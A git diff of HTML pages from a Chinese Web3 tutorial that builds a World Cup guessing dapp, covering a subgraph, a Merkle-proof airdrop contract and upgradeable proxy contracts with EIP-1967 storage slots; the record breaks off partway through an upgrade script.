    - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/04_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_subgraph.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/04_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_subgraph.html" index ce75c4b3..182f4903 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/04_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_subgraph.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/04_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_subgraph.html" @@ -36,10 +36,6 @@ - - - - @@ -3043,11 +3039,11 @@

    举例

  • 请求语句:

    {
    -  pools(
    -      first: 50 
    +  pools(
    +      first: 50 
           orderBy: totalValueLockedUSD 
           orderDirection: desc  
    -      subgraphError: allow) {    
    +      subgraphError: allow) {    
           id    
           __typename  
         }
    @@ -3056,23 +3052,23 @@ 

    举例

  • 请求结果:(部分)

    {
    -  "data": {
    -    "pools": [
    +  "data": {
    +    "pools": [
           {
    -        "id": "0x277667eb3e34f134adf870be9550e9f323d0dc24",
    -        "__typename": "Pool"
    +        "id": "0x277667eb3e34f134adf870be9550e9f323d0dc24",
    +        "__typename": "Pool"
           },
           {
    -        "id": "0xa850478adaace4c08fc61de44d8cf3b64f359bec",
    -        "__typename": "Pool"
    +        "id": "0xa850478adaace4c08fc61de44d8cf3b64f359bec",
    +        "__typename": "Pool"
           },
           {
    -        "id": "0x8c0411f2ad5470a66cb2e9c64536cfb8dcd54d51",
    -        "__typename": "Pool"
    +        "id": "0x8c0411f2ad5470a66cb2e9c64536cfb8dcd54d51",
    +        "__typename": "Pool"
           },
           {
    -        "id": "0x055284a4ca6532ecc219ac06b577d540c686669d",
    -        "__typename": "Pool"
    +        "id": "0x055284a4ca6532ecc219ac06b577d540c686669d",
    +        "__typename": "Pool"
           }
          ]
       }
    @@ -3105,7 +3101,7 @@ 

    关系梳理

    下面我们聊一聊如何进行使用docker搭建graphnode并部署自己的subgraph。

    创建subgraph

    安装命令graph,用于创建subgraph项目,编译,部署等。

    -
    #安装命令
    +
    #安装命令
     npm install -g  @graphprotocol/graph-cli
     

    初始化项目

    @@ -3153,7 +3149,7 @@

    小结

    @@ -3239,14 +3235,6 @@

    小结

    - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/05-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_airdrop.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/05-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_airdrop.html" index 60cd94eb..b4890fc8 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/05-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_airdrop.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/05-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_airdrop.html" @@ -36,10 +36,6 @@ - - - - @@ -3082,31 +3078,31 @@

    背景

    部署奖励Token

    WorldCupToken

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.9;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.9;
     
    -import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
    +import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
     
    -//合约继承,使用 is
    +//合约继承,使用 is
     contract WorldCupToken is ERC20 {
    -    // 2. 一次性mint出来,不允许后续mint
    -    constructor(
    +    // 2. 一次性mint出来,不允许后续mint
    +    constructor(
             string memory name_,
             string memory symbol_,
             uint256 totalSupply_
    -    ) ERC20(name_, symbol_) {
    +    ) ERC20(name_, symbol_) {
             _mint(msg.sender, totalSupply_);
         }
     }
     

    部署合约

    -
    # 部署合约
    +
    # 部署合约
     npx hardhat run scripts/deployWorldCupToken --network goerli
     
    -# 验证合约
    -npx hardhat verify --contract contracts/tokens/WorldCupToken.sol:WorldCupToken  0x4c305227E762634CB7d3d9291e42b423eD45f1AD "World Cup Token" "WCT" 10000000000000000000000000 --network goerli
    +# 验证合约
    +npx hardhat verify --contract contracts/tokens/WorldCupToken.sol:WorldCupToken  0x4c305227E762634CB7d3d9291e42b423eD45f1AD "World Cup Token" "WCT" 10000000000000000000000000 --network goerli
     
    -# 0x4c305227E762634CB7d3d9291e42b423eD45f1AD
    +# 0x4c305227E762634CB7d3d9291e42b423eD45f1AD
     

    统计玩家Play数据

    回顾subgraph工作流程(上节介绍)

    @@ -3114,121 +3110,121 @@

    统计玩家Play数据

    编写配置文件

    将下面内容添加到subgraph.yaml中,其中包含对WorldCup合约的监听,以及对发放奖励合约(WorldCupDistributor)的监听。

    image-20221103200112151

    -
    specVersion: 0.0.4
    -schema:
    -  file: ./schema.graphql
    -dataSources:
    -  - kind: ethereum
    -    name: WorldCup
    -    network: goerli
    -    source:
    -      # 监听世界杯主合约
    -      address: "0x0fd554503c88E9cE02D6f81799F928c8Aa202Dd3"
    -      abi: WorldCup
    -      startBlock: 7813068
    -      # ....
    -      abis:
    -        - name: WorldCup
    -          file: ./abis/WorldCup.json
    -      eventHandlers:
    -        # 监听事件
    -        - event: Play(uint8,address,uint8)
    -          handler: handlePlay
    -        - event: Finialize(uint8,uint256)
    -          handler: handleFinialize
    -        - event: ClaimReward(address,uint256)
    -          handler: handleClaimReward
    -      file: ./src/world-cup.ts
    -  - kind: ethereum
    -    name: WorldCupDistributor
    -    network: goerli
    -    source:
    -      # 监听奖励合约
    -      address: "0x857c162eB34f3FA3f14A8A7F211017D2505df724"
    -      abi: WorldCupDistributor
    -      startBlock: 7813265
    -      # ...
    -      abis:
    -        - name: WorldCupDistributor
    -          file: ./abis/WorldCupDistributor.json
    -      eventHandlers:
    -        # 监听事件
    -        - event: DistributeReward(indexed bytes32,indexed uint256,uint256,uint256)
    -          handler: handleDistributeReward
    -        - event: Claimed(indexed address,indexed address,indexed uint256)
    -          handler: handleClaimed
    -      file: ./src/world-cup.ts
    +
    specVersion: 0.0.4
    +schema:
    +  file: ./schema.graphql
    +dataSources:
    +  - kind: ethereum
    +    name: WorldCup
    +    network: goerli
    +    source:
    +      # 监听世界杯主合约
    +      address: "0x0fd554503c88E9cE02D6f81799F928c8Aa202Dd3"
    +      abi: WorldCup
    +      startBlock: 7813068
    +      # ....
    +      abis:
    +        - name: WorldCup
    +          file: ./abis/WorldCup.json
    +      eventHandlers:
    +        # 监听事件
    +        - event: Play(uint8,address,uint8)
    +          handler: handlePlay
    +        - event: Finialize(uint8,uint256)
    +          handler: handleFinialize
    +        - event: ClaimReward(address,uint256)
    +          handler: handleClaimReward
    +      file: ./src/world-cup.ts
    +  - kind: ethereum
    +    name: WorldCupDistributor
    +    network: goerli
    +    source:
    +      # 监听奖励合约
    +      address: "0x857c162eB34f3FA3f14A8A7F211017D2505df724"
    +      abi: WorldCupDistributor
    +      startBlock: 7813265
    +      # ...
    +      abis:
    +        - name: WorldCupDistributor
    +          file: ./abis/WorldCupDistributor.json
    +      eventHandlers:
    +        # 监听事件
    +        - event: DistributeReward(indexed bytes32,indexed uint256,uint256,uint256)
    +          handler: handleDistributeReward
    +        - event: Claimed(indexed address,indexed address,indexed uint256)
    +          handler: handleClaimed
    +      file: ./src/world-cup.ts
     

    编写 Schema

    schema.graphql,这些结构相当于数据库,用于在subgraph中存储计算后的数据。

    -
    # 玩家Player详情
    -type PlayRecord @entity {
    -  id: ID!
    -  index: BigInt! # uint256
    -  player: Bytes! # address
    -  selectCountry: BigInt! # uint256
    -  time: BigInt!
    -  block: BigInt!
    +
    # 玩家Player详情
    +type PlayRecord @entity {
    +  id: ID!
    +  index: BigInt! # uint256
    +  player: Bytes! # address
    +  selectCountry: BigInt! # uint256
    +  time: BigInt!
    +  block: BigInt!
     }
     
    -# 球队winner详情
    -type FinializeHistory @entity {
    -  id: ID!
    -  result: BigInt!
    +# 球队winner详情
    +type FinializeHistory @entity {
    +  id: ID!
    +  result: BigInt!
     }
     
    -# 玩家奖励详情(分配后)
    -type PlayerDistribution @entity {
    -  id: ID!
    -  index: BigInt!
    -  player: Bytes!
    -  rewardAmt: BigInt!
    -  weight: BigInt!
    -  isClaimed: Boolean!
    +# 玩家奖励详情(分配后)
    +type PlayerDistribution @entity {
    +  id: ID!
    +  index: BigInt!
    +  player: Bytes!
    +  rewardAmt: BigInt!
    +  weight: BigInt!
    +  isClaimed: Boolean!
     }
     
    -# 更多部分参见源代码....
    +# 更多部分参见源代码....
     

    监听Play事件

    -
    export function handlePlay(event: Play): void {
    -  // 统计所有的play事件,存储起来
    -  // 1. get id 
    -  let id = event.params._player.toHex() + "#" + event.params._currRound.toString() + "#" + event.block.timestamp.toHex();
    +
    export function handlePlay(event: Play): void {
    +  // 统计所有的play事件,存储起来
    +  // 1. get id 
    +  let id = event.params._player.toHex() + "#" + event.params._currRound.toString() + "#" + event.block.timestamp.toHex();
     
    -  // 2. create entity
    -  let entity = new PlayRecord(id);
    +  // 2. create entity
    +  let entity = new PlayRecord(id);
     
    -  // 3. set data
    -  entity.index = BigInt.fromI32(event.params._currRound);
    +  // 3. set data
    +  entity.index = BigInt.fromI32(event.params._currRound);
       entity.player = event.params._player;
    -  entity.selectCountry = BigInt.fromI32(event.params._country);
    +  entity.selectCountry = BigInt.fromI32(event.params._country);
       entity.time = event.block.timestamp;
       entity.block = event.block.number;
     
    -  // 4. save
    +  // 4. save
       entity.save()
     
    -  // 5. save nohandle play record
    -  let noHandle = NeedToHandle.load(NO_HANDLE_ID);
    -  if (!noHandle) {
    -    noHandle = new NeedToHandle(NO_HANDLE_ID);
    +  // 5. save nohandle play record
    +  let noHandle = NeedToHandle.load(NO_HANDLE_ID);
    +  if (!noHandle) {
    +    noHandle = new NeedToHandle(NO_HANDLE_ID);
         noHandle.list = [];
       }
     
    -  // noHandle.list.push(id)
    -  let list = noHandle.list;
    +  // noHandle.list.push(id)
    +  let list = noHandle.list;
       list.push(id);
       noHandle.list = list;
     
       noHandle.save()
     }
     
    -// 更多部分参见源代码....
    +// 更多部分参见源代码....
     

    监听Finalize事件

    -
    export function handleFinialize(event: Finialize): void {
    -  let id = event.params._currRound.toString();
    -  let entity = new FinializeHistory(id);
    +
    export function handleFinialize(event: Finialize): void {
    +  let id = event.params._currRound.toString();
    +  let entity = new FinializeHistory(id);
     
       entity.result = event.params._country;
       entity.save();
    @@ -3237,25 +3233,25 @@ 

    监听Finalize事件

    部署到subgraph

    方式一:自己部署graphnode节点

    这部分我们在上一节已经介绍,按顺序执行即可。

    -
    # 启动graphnode
    +
    # 启动graphnode
     docker-compose up
     
    -# 创建并
    +# 创建并
     npm run codegen
     npm run build
     npm run create-local
     npm run deploy-local
     
    -# Deployed to http://localhost:8000/subgraphs/name/duke/worldcup/graphql
    +# Deployed to http://localhost:8000/subgraphs/name/duke/worldcup/graphql
     

    方式二:使用subgraph官方结点

    https://thegraph.com/hosted-service/dashboard

    获取请求Play数据

    启动subgraph后,需要安静等待一会儿,等待数据同步完成后,我们便可以查询,由于之前已经使用3个用户发起过四次Play操作,所以得到结果如下:

    {
    -    playRecords(where: {
    -      index: 0
    -    }){
    +    playRecords(where: {
    +      index: 0
    +    }){
           id
           index
           player
    @@ -3327,30 +3323,30 @@ 

    奖励流程

    原图:https://whimsical.com/Nfi7rAVqvYJd8mCLYHZYrx

    image-20221103195541354

    分配奖励合约

    -
    // SPDX-License-Identifier: GPL-2.0-or-later
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: GPL-2.0-or-later
    +pragma solidity ^0.8.0;
     
    -import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    -import "./libraries/MerkleProof.sol";
    -import './libraries/TransferHelper.sol';
    +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    +import "./libraries/MerkleProof.sol";
    +import './libraries/TransferHelper.sol';
     
    -/// @notice use for claim reward
    +/// @notice use for claim reward
     contract WorldCupDistributor {
    -    // 省略部分代码,详见代码仓库 ....
    +    // 省略部分代码,详见代码仓库 ....
     
    -    function distributeReward(
    +    function distributeReward(
             uint256 _index,
             uint256 _amount,
             uint256 _settleBlockNumber,
             bytes32 _merkleRoot
    -    ) external onlyOwner {
    +    ) external onlyOwner {
             merkleRoot = _merkleRoot;
     
    -        require(_index == merkleDistributors.length, "index already exists");
    -        uint256 currAmount = IERC20(token).balanceOf(address(this));
    -        require(currAmount >= _amount, "Insufficient reward funds");
    -        require(block.number >= _settleBlockNumber, "!blockNumber");
    -        // ...
    +        require(_index == merkleDistributors.length, "index already exists");
    +        uint256 currAmount = IERC20(token).balanceOf(address(this));
    +        require(currAmount >= _amount, "Insufficient reward funds");
    +        require(block.number >= _settleBlockNumber, "!blockNumber");
    +        // ...
     
             merkleDistributors.push(
                 MerkleDistributor(_merkleRoot, _index, _amount, _settleBlockNumber)
    @@ -3359,40 +3355,40 @@ 

    分配奖励合约

    emit DistributeReward(_merkleRoot, _index, _amount, _settleBlockNumber); } - function claim( + function claim( uint256 index, uint256 amount, bytes32[] calldata proof - ) external { + ) external { address user = msg.sender; - require(merkleDistributors.length > index, "Invalid index"); - require(!isClaimed(index, user), "Drop already claimed."); + require(merkleDistributors.length > index, "Invalid index"); + require(!isClaimed(index, user), "Drop already claimed."); MerkleDistributor storage merkleDistributor = merkleDistributors[index]; - require(merkleDistributor.amount >= amount, "Not sufficient"); + require(merkleDistributor.amount >= amount, "Not sufficient"); bytes32 leaf = keccak256(abi.encodePacked(index, user, amount)); - require( - // 核心校验逻辑 + require( + // 核心校验逻辑 MerkleProof.verify(proof, merkleDistributor.merkleRoot, leaf), - "Invalid proof." + "Invalid proof." ); merkleDistributor.amount = merkleDistributor.amount - amount; - // 标识用户已经领取 - claimedState[index][user] = true; + // 标识用户已经领取 + claimedState[index][user] = true; - // 向用户转账 + // 向用户转账 address(token).safeTransfer(msg.sender, amount); - emit Claimed(address(this), user, amount); + emit Claimed(address(this), user, amount); } }

    部署合约

    npx hardhat scripts/deployDistributor.ts --network goerli
     
    -# 0xF19233dFE30219F4D6200c02826B80e4347EF8BF
    +# 0xF19233dFE30219F4D6200c02826B80e4347EF8BF
     
     npx hardhat verify 0xF19233dFE30219F4D6200c02826B80e4347EF8BF 0x4c305227E762634CB7d3d9291e42b423eD45f1AD  --network goerli
     
    @@ -3415,36 +3411,82 @@

    监听奖励事件

  • 监听奖励发放事件,进行计算:(核心逻辑)
    -export function handleDistributeReward(event: DistributeReward): void {
    -  // parse parameters first
    -  let id = event.params.index.toString();
    -  let rewardAmt = event.params.amount;
    -  let index = event.params.index;
    -  let settleBlockNumber = event.params.settleBlockNumber;
    -
    -  // 找到当前发奖周期,查看哪个国家是winner
    -  let winCountry = FinializeHistory.load(id)
    -  if (!winCountry) {
    -    return;
    +export function handleDistributeReward(event: DistributeReward): void {
    +  // parse parameters first
    +  let id = event.params.index.toString();
    +  let rewardAmt = event.params.amount;
    +  let index = event.params.index;
    +  let settleBlockNumber = event.params.settleBlockNumber;
    +
    +  // 找到当前发奖周期,查看哪个国家是winner
    +  let winCountry = FinializeHistory.load(id)
    +  if (!winCountry) {
    +    return;
       }
     
    -  let totalWeight = BigInt.fromI32(0)
    -  let rewardActuallyAmt = BigInt.fromI32(0) 
    -  let rewardHistoryList: string[] = []; // for history check usage
    +  let totalWeight = BigInt.fromI32(0)
    +  let rewardActuallyAmt = BigInt.fromI32(0) 
    +  let rewardHistoryList: string[] = []; // for history check usage
    +
    +  let noHandle = NeedToHandle.load(NO_HANDLE_ID);
    +  if (noHandle) {
    +    let group = new TypedMap<Bytes, BigInt>();
    +    let currentList = noHandle.list; // current record
    +    let newList: string[] = []; // record won't be used this time
    +    log.warning("current list: ", currentList)
    +
    +    for (let i = 0; i < currentList.length; i++) {
    +      // 每个玩家都会得到奖励,默认权重weight为1
    +      let playerWeight = BigInt.fromI32(1)
    +      let record = PlayRecord.load(currentList[i]) as PlayRecord;
    +
    +      if (record.block > startBlock && record.block <= endBlock) {
    +        if (winCountry.result == record.selectCountry) {
    +          // 如果当前用户猜中了,奖励翻倍(权重*2)
    +          playerWeight = playerWeight.times(BigInt.fromI32(2))
    +        }
     
    -  let noHandle = NeedToHandle.load(NO_HANDLE_ID);
    -  if (noHandle) {
    -    let group = new TypedMap();
    -    let currentList = noHandle.list; // current record
    -    let newList: string[] = []; // record won't be used this time
    -    log.warning("current list: ", currentList)
    +        let prevWeight = group.get(record.player)
    +        if (!prevWeight) {
    +          prevWeight = BigInt.fromI32(0)
    +        }
     
    -    for (let i = 0; i < currentList.length; i++) {
    -      // 每个玩家都会得到奖励,默认权重weight为1
    -      let playerWeight = BigInt.fromI32(1)
    -      let record = PlayRecord.load(currentList[i]) as PlayRecord;
    +        // 更新当前用户权重到内存中,供下面👇进行奖励分配
    +        group.set(record.player, prevWeight.plus(playerWeight));
    +        totalWeight = totalWeight.plus(playerWeight);
    +      } else {
    +        // 遍历所有的record,累加到player之上, block区间之外的,会添加到newList中
    +        newList.push(currentList[i]);
    +      }
    +    }
     
    -      if (record.block > startBlock && record.block 
    + // 便利所有的group,为每个人分配奖励数量,然后存储在UserDistribution中(供最终调用) + for (let j = 0; j < group.entries.length; j++) { + let player = group.entries[j].key; + let weight = group.entries[j].value; + + let id = player.toString() + "#" + index.toString() + + log.warning("totalWeight: ", [totalWeight.toString()]) + let reward = rewardAmt.times(weight).div(totalWeight); + + let playerDistribution = new PlayerDistribution(id); + playerDistribution.index = index; + playerDistribution.player = player; + playerDistribution.rewardAmt = reward; + playerDistribution.weight = weight; + playerDistribution.isClaimed = false; + playerDistribution.save(); + + rewardHistoryList.push(id); + rewardActuallyAmt = rewardActuallyAmt.plus(reward); + } + + noHandle.list = newList; + noHandle.save(); + } +} +

    查询分配结果

    • 第0期

      @@ -3550,7 +3592,7 @@

      小结

      @@ -3636,14 +3678,6 @@

      小结

      - - - - - - - - diff --git "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/06_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_upgrade.html" "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/06_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_upgrade.html" index 6631fd99..e6a7a597 100644 --- "a/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/06_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_upgrade.html" +++ "b/cn/08_\351\241\271\347\233\256\345\256\236\346\210\230-\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234/06_\344\270\226\347\225\214\346\235\257\347\253\236\347\214\234_upgrade.html" @@ -36,10 +36,6 @@ - - - - @@ -3047,14 +3043,14 @@

      升级分析

      1. 升级的原理

      对于普通的合约,一般是用户直接与业务逻辑交互,如下图所示:

      image-20221112190432057

      -
      // 简化表达
      +
      // 简化表达
       User ---- tx ----------> Implementation_v0
       

      此时,如果重新部署Logic合约,那么地址会发生变化,用户可以感知到,而且Logic中的用户数据也会发生变化。

      可升级合约的实现思路是:引入一个代理合约Proxy(蓝色),用户User仅与这个代理合约进行交互,由代理合约去与Loigc合约进行交互,因此在Logic合约发生变化(升级)的时候,用户User无感,并且历史数据也能够保留下来,如下图所示:

      image-20221112190524468

      -
      // 简化表达
      -User ---- tx ---> Proxy ----------> Implementation_v0
      +
      // 简化表达
      +User ---- tx ---> Proxy ----------> Implementation_v0
                            |
                             ------------> Implementation_v1
       
      @@ -3082,32 +3078,32 @@

      2. 代理转发delegatecall

      正是由于delegatecall的这两个特性,才使得代理合约能够实现,因为这使得从目标合约的角度来看,所有的操作都是在修改用户的数据,并且存储在了Proxy中。

      (注,由于Transparent模式升级时,implementation和proxy不用相互关心彼此的storage数据,因此这种模式被称为:unstructed storage)

      delegatecall调用案例:

      -
      // SPDX-License-Identifier: MIT
      -pragma solidity ^0.8.13;
      +
      // SPDX-License-Identifier: MIT
      +pragma solidity ^0.8.13;
       
       contract Implementation {
      -    // NOTE: storage layout must be the same as contract A
      +    // NOTE: storage layout must be the same as contract A
           uint public num;
           address public sender;
           uint public value;
       
      -    function setVars(uint _num) public payable {
      +    function setVars(uint _num) public payable {
               num = _num;
               sender = msg.sender;
               value = msg.value;
           }
       }
       
      -// 注意:执行后,Proxy中的sender值为EOA的地址,而不是A合约的地址  (调用链EOA-> Proxy::setVars -> Implementation::setVars)
      -contract Proxy {
      +// 注意:执行后,Proxy中的sender值为EOA的地址,而不是A合约的地址  (调用链EOA-> Proxy::setVars -> Implementation::setVars)
      +contract Proxy {
           uint public num;
           address public sender;
           uint public value;
       
      -    function setVars(address _impl, uint _num) public payable {
      -        // Proxy's storage is set, Implementation is not modified.
      +    function setVars(address _impl, uint _num) public payable {
      +        // Proxy's storage is set, Implementation is not modified.
               (bool success, bytes memory data) = _impl.delegatecall(
      -            abi.encodeWithSignature("setVars(uint256)", _num)
      +            abi.encodeWithSignature("setVars(uint256)", _num)
               );
           }
       }
      @@ -3116,9 +3112,13 @@ 

      3. 为什么会有存储冲突?

      在solidity中,状态变量存储在slot中,slot可以理解为key-value存储空间,evm为每个合约代码提供了最多2^256个slot,每个slot可以最多存储32字节数据。(key->value, 32bytes -> 32bytes)

      状态变量一般是从slot 0开始进行存储的,在使用delegatecall的时候,由于需要在Proxy的slot中存储目标合约中指定的数据结构,此时如果proxy的storage布局与目标合约的storage布局不相同,那么就会出现存储冲突(Storage collisioin)的问题,即:目标合约在Proxy合约中修改了错误的位置。

      image-20221112194610101

      -
      |Proxy                     |Implementation           |
      +
      |Proxy                     |Implementation           |
       |--------------------------|-------------------------|
      -|address _implementation   |address _owner           | 
      +|address _implementation |address _owner | <=== Storage collision! +|... |mapping _balances | +| |uint256 _supply | +| |... | +

      如图所示,由于在Proyx中需要存储逻辑合约的地址,而在逻辑合约中不用存储,所以此时两个合约的storage布局不同,两者的slot 0分别存储的是 逻辑合约地址_imp管理员地址,因此当逻辑合约想修改owner时,会错误的修改了_imp地址。

      4. 解决存储冲突

      在代理合约Proxy中,一共需要指定两个状态变量:

      @@ -3127,7 +3127,7 @@

      4. 解决存储冲突

    • Admin,代理合约的管理员,有权限进行合约升级;

    因此,如果不进行特殊处理,则一定会出现存储slot冲突,我们要做的是:将Proxy中的默认slot留出来,不要占用,而是在代理合约使用指定的slot来中存储逻辑合约_imp和admin地址,如何存储,业界对此有标准,EIP-1967

    -
    |Proxy                     |Implementation           |
    +
    |Proxy                     |Implementation           |
     |--------------------------|-------------------------|
     |...                       |address _owner           |
     |...                       |mapping _balances        |
    @@ -3137,17 +3137,20 @@ 

    4. 解决存储冲突

    |... | | |... | | |... | | -|address _implementation | |
    +|address _implementation | | <=== Randomized slot. +|... | | +|... | | +

    存储逻辑合约地址的位置为:

    -
    # implementation slot 生成规则:
    -bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1), 
    -# 存储位置:
    +
    # implementation slot 生成规则:
    +bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1), 
    +# 存储位置:
     0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50
     
     
    -# admin slot 生成规则:
    -bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)),
    -# 存储位置:
    +# admin slot 生成规则:
    +bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)),
    +# 存储位置:
     0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
     

    当proxy将两个状态变量存储在特定位置后,由于将默认slot的空间留给了业务合约,因此相当于storage布局与逻辑合约一致了,冲突解决!

    @@ -3156,7 +3159,21 @@

    4. 务必遵循升级规则

    因为如果在新合约Implementation1中,改变了Implementation0中原始状态变量的顺序,那么就会出现存储冲突问题,如下图

    |Implementation_v0   |Implementation_v1        |
     |--------------------|-------------------------|
    -|address _owner      |address _lastContributor | 
    +|address _owner |address _lastContributor | <=== Storage collision! +|mapping _balances |address _owner | +|uint256 _supply |mapping _balances | +|... |uint256 _supply | +| |... | +Correct storage preservation: + +|Implementation_v0 |Implementation_v1 | +|--------------------|-------------------------| +|address _owner |address _owner | +|mapping _balances |mapping _balances | +|uint256 _supply |uint256 _supply | +|... |address _lastContributor | <=== Storage extension. #修改了原来 +| |... | +

    所以在升级的合约Implementation1中,如果有新变量的添加,那么新的状态变量只能添加在原始合约状态末尾依次往后添加,切记切记,否则升级失败!

    5. initializer代替constructor

    如果一个合约定义为可升级的,那么这个合约需要将构造函数移除(如有),并且使用initialize函数来代替初始化工作。原因为:我们需要将部署时的数据存储在Proxy合约中,如果提供了构造函数,这些数据就会错误的写在了逻辑合约中。

    @@ -3164,21 +3181,21 @@

    代码集成

    1. 修改原有代码

    说了这么多,我们测试一下升级,我们使用openzeppelin标准库来完成合约升级,并且使用hardhat-upgrade来进行集成。

    为了实现合约升级,我们需要改写一下原来的Worldcup代码,将构造函数去掉,增加初始化函数

    -
    # 安装升级版本的合约,我们需要使用标准的初始化函数
    +
    # 安装升级版本的合约,我们需要使用标准的初始化函数
     $ npm i @openzeppelin/contracts-upgradeable
     

    修改代码:

    -
        //1. 导入标准包
    -    import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
    +
        //1. 导入标准包
    +    import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
     
    -    //2. 继承
    +    //2. 继承
         contract WorldCupV1 is Initializable {  
    -      //3. 将构造函数替换为初始化函数 constructor(uint256 _deadline) 
    -      function initialize(uint256 _deadline) public initializer {
    +      //3. 将构造函数替换为初始化函数 constructor(uint256 _deadline) 
    +      function initialize(uint256 _deadline) public initializer {
               admin = msg.sender;
    -          require(
    +          require(
                   _deadline > block.timestamp,
    -              "WorldCupLottery: invalid deadline!"
    +              "WorldCupLottery: invalid deadline!"
               );
               deadline = _deadline;
           }   
    @@ -3186,17 +3203,17 @@ 

    1. 修改原有代码

    2. 编写准备升级的新合约

    创建升级合约WorldCupV2.sol,与V1相比,增加了代码,包括:一个函数,一个状态变量,一个事件,具体如下:

    -
            // event ChangeDeadline(uint256 _prev, uint256 _curr);
    -        // uint256 changeCount
    +
            // event ChangeDeadline(uint256 _prev, uint256 _curr);
    +        // uint256 changeCount
     
    -        // 1. 增加函数,支持修改deadline
    -    function changeDeadline(uint256 _newDeadline) external {
    -      require(_newDeadline > block.timestamp, "invalid timestamp!");
    +        // 1. 增加函数,支持修改deadline
    +    function changeDeadline(uint256 _newDeadline) external {
    +      require(_newDeadline > block.timestamp, "invalid timestamp!");
     
    -      // 2.增加新事件
    +      // 2.增加新事件
           emit ChangeDeadline(deadline, _newDeadline); 
     
    -      // 4.状态变量
    +      // 4.状态变量
           changeCount++;  
           deadline = _newDeadline;
         }
    @@ -3208,12 +3225,12 @@ 

    2. 编写准备升级的新合约

    $ Compiled 24 Solidity files successfully

    3. 安装升级插件

    -
    # 升级插件,在部署脚本中使用
    +
    # 升级插件,在部署脚本中使用
     $ npm install --save-dev @openzeppelin/hardhat-upgrades
     

    在配置文件中导入:

    -
    // hardhat.config.js
    -require('@openzeppelin/hardhat-upgrades');
    +
    // hardhat.config.js
    +require('@openzeppelin/hardhat-upgrades');
     

    4. 编写升级脚本

    contracts/scripts/upgrade/deployAndUpgrade.ts,

    @@ -3224,30 +3241,30 @@

    4. 编写升级脚本

  • 读取新的deadline,查看返回值。
  • 具体内容如下:

    -
    const { ethers, upgrades } = require("hardhat");
    -
    -async function main() {
    -  const TWO_WEEKS_IN_SECS = 14 * 24 * 60 * 60;
    -  const timestamp = Math.floor(Date.now() / 1000)
    -  const deadline = timestamp + TWO_WEEKS_IN_SECS;
    -  console.log('deadline:', deadline)
    -
    -  // Deploying
    -  const WorldCupv1 = await ethers.getContractFactory("WorldCupV1");
    -  const instance = await upgrades.deployProxy(WorldCupv1, [deadline]);
    -  await instance.deployed();
    -  console.log("WorldCupV1 address:", instance.address);
    -  console.log("deadline1:", await instance.deadline())
    -
    -  console.log('ready to upgrade to V2...');
    -
    -  // Upgrading
    -  const WorldCupV2 = await ethers.getContractFactory("WorldCupV2");
    -  const upgraded = await upgrades.upgradeProxy(instance.address, WorldCupV2);
    -  console.log("WorldCupV2 address:", upgraded.address);
    -
    -  await upgraded.changeDeadline(deadline + 100)
    -  console.log("deadline2:", await upgraded.deadline())
    +
    const { ethers, upgrades } = require("hardhat");
    +
    +async function main() {
    +  const TWO_WEEKS_IN_SECS = 14 * 24 * 60 * 60;
    +  const timestamp = Math.floor(Date.now() / 1000)
    +  const deadline = timestamp + TWO_WEEKS_IN_SECS;
    +  console.log('deadline:', deadline)
    +
    +  // Deploying
    +  const WorldCupv1 = await ethers.getContractFactory("WorldCupV1");
    +  const instance = await upgrades.deployProxy(WorldCupv1, [deadline]);
    +  await instance.deployed();
    +  console.log("WorldCupV1 address:", instance.address);
    +  console.log("deadline1:", await instance.deadline())
    +
    +  console.log('ready to upgrade to V2...');
    +
    +  // Upgrading
    +  const WorldCupV2 = await ethers.getContractFactory("WorldCupV2");
    +  const upgraded = await upgrades.upgradeProxy(instance.address, WorldCupV2);
